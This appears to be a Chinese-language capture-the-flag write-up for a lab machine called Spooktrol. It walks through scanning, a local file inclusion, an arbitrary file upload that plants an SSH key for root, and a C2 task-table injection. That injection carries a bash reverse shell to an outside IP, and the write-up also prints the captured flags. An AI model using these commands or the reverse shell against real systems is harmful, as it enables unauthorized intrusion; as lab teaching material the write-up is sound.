[Meachines] [Hard] Spooktrol uvicorn-LFI+C2-RE+D-Link-V2文件同步+ C2任务表注入权限提升
字数 931 2025-08-29 08:30:06
Spooktrol 渗透测试教学文档
1. 目标信息收集
1.1 初始扫描
目标IP: 10.10.11.123
开放端口:
- 22/tcp: OpenSSH 8.2p1 Ubuntu
- 80/tcp: uvicorn HTTP服务
- 2222/tcp: OpenSSH 8.2p1 Ubuntu
扫描命令:
ip='10.10.11.123'; itf='tun0';
if nmap -Pn -sn "$ip" | grep -q "Host is up"; then
echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m";
ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//');
if [ -n "$ports" ]; then
echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m";
nmap -Pn -sV -sC -p "$ports" "$ip";
else
echo -e "\e[31m[!] No open ports found on $ip.\e[0m";
fi;
else
echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m";
fi
1.2 HTTP服务发现
80端口运行uvicorn服务,关键发现:
- 访问
/file_management/?file=*存在LFI漏洞 - robots.txt泄露敏感路径:
/_/file_management/?file=implant - 初始GET请求返回认证token:
{"auth":"137a77107d9f6e5ed694feec9d37b192"}
2. 漏洞利用
2.1 本地文件包含(LFI)利用
使用pany.py工具枚举系统用户:
python3 pany.py -u 'http://10.10.11.123/file_management/?file=*'
获取implant文件:
wget http://10.10.11.123/file_management/?file=implant -O implant
2.2 文件上传漏洞利用
发现文件上传端点/file_upload/,可上传任意文件到任意位置:
- 添加hosts记录:
echo '10.10.11.123 spooktrol.htb'>>/etc/hosts
- 测试上传:
curl -X PUT http://spooktrol.htb/file_upload/ -H "Cookie: auth=0000" -F 'file=@/tmp/test.txt;filename=tmp/test.txt'
- 验证上传:
curl 'http://10.10.11.123/file_management/?file=tmp/test.txt'
2.3 SSH公钥注入提权
- 上传公钥到root的authorized_keys:
curl -X PUT http://spooktrol.htb/file_upload/ -H "Cookie: auth=0000" -F 'file=@/home/maptnh/.ssh/id_rsa.pub;filename=root/.ssh/authorized_keys'
- 通过2222端口SSH登录:
ssh root@10.10.11.123 -p 2222
获取user flag: b7cb2e810b4872b0681e7805f4284d15
3. 权限提升
3.1 使用D-Link进行目录同步
- 上传dlink工具:
curl -X PUT http://spooktrol.htb/file_upload/ -H "Cookie: auth=0000" -F 'file=@/home/maptnh/Desktop/dlink;filename=tmp/dlink'
- 服务端设置:
./dlink server --port 10098 --path /tmp/root --key abcdefgh &
./dlink server --port 10099 --path /tmp/root --key abcdefgh --reverse
- 客户端连接:
./dlink client --endpoint "10.10.16.33:10098" --path /opt --key abcdefgh &
./dlink client --endpoint "10.10.16.33:10099" --path /opt --key abcdefgh --reverse
3.2 C2任务表注入
- 检查数据库:
sqlite3 sql_app.db
- 查询会话:
select * from sessions;
select * from checkins where session='10a6dd5dde6094059db4d23d7710ae12';
- 注入恶意任务:
INSERT INTO tasks VALUES(2,'10a6dd5dde6094059db4d23d7710ae12',0,1,'bash -c "bash -i >& /dev/tcp/10.10.16.33/443 0>&1"');
- 同步数据库文件:
cp /tmp/sql_app.db /tmp/root/sql_app.db
- 等待获取反向shell
获取root flag: c1dd82958c07aa1752ff511be0fc59f1
4. 攻击原理总结
-
初始入侵:
- 利用C2恶意软件的目录穿越漏洞上传文件
- 通过写入SSH公钥实现root权限获取
-
C2机制分析:
- tasks表中存放C2命令任务,根据客户端session发布命令
- 攻击者每两分钟连接C2服务器获取任务
- 受害者连接时会执行服务端下发的命令
-
权限提升技巧:
- 利用D-Link工具实现目录同步
- 通过注入虚假的未执行语句实现任务注入
- 攻击者连接时获取并执行注入的反向shell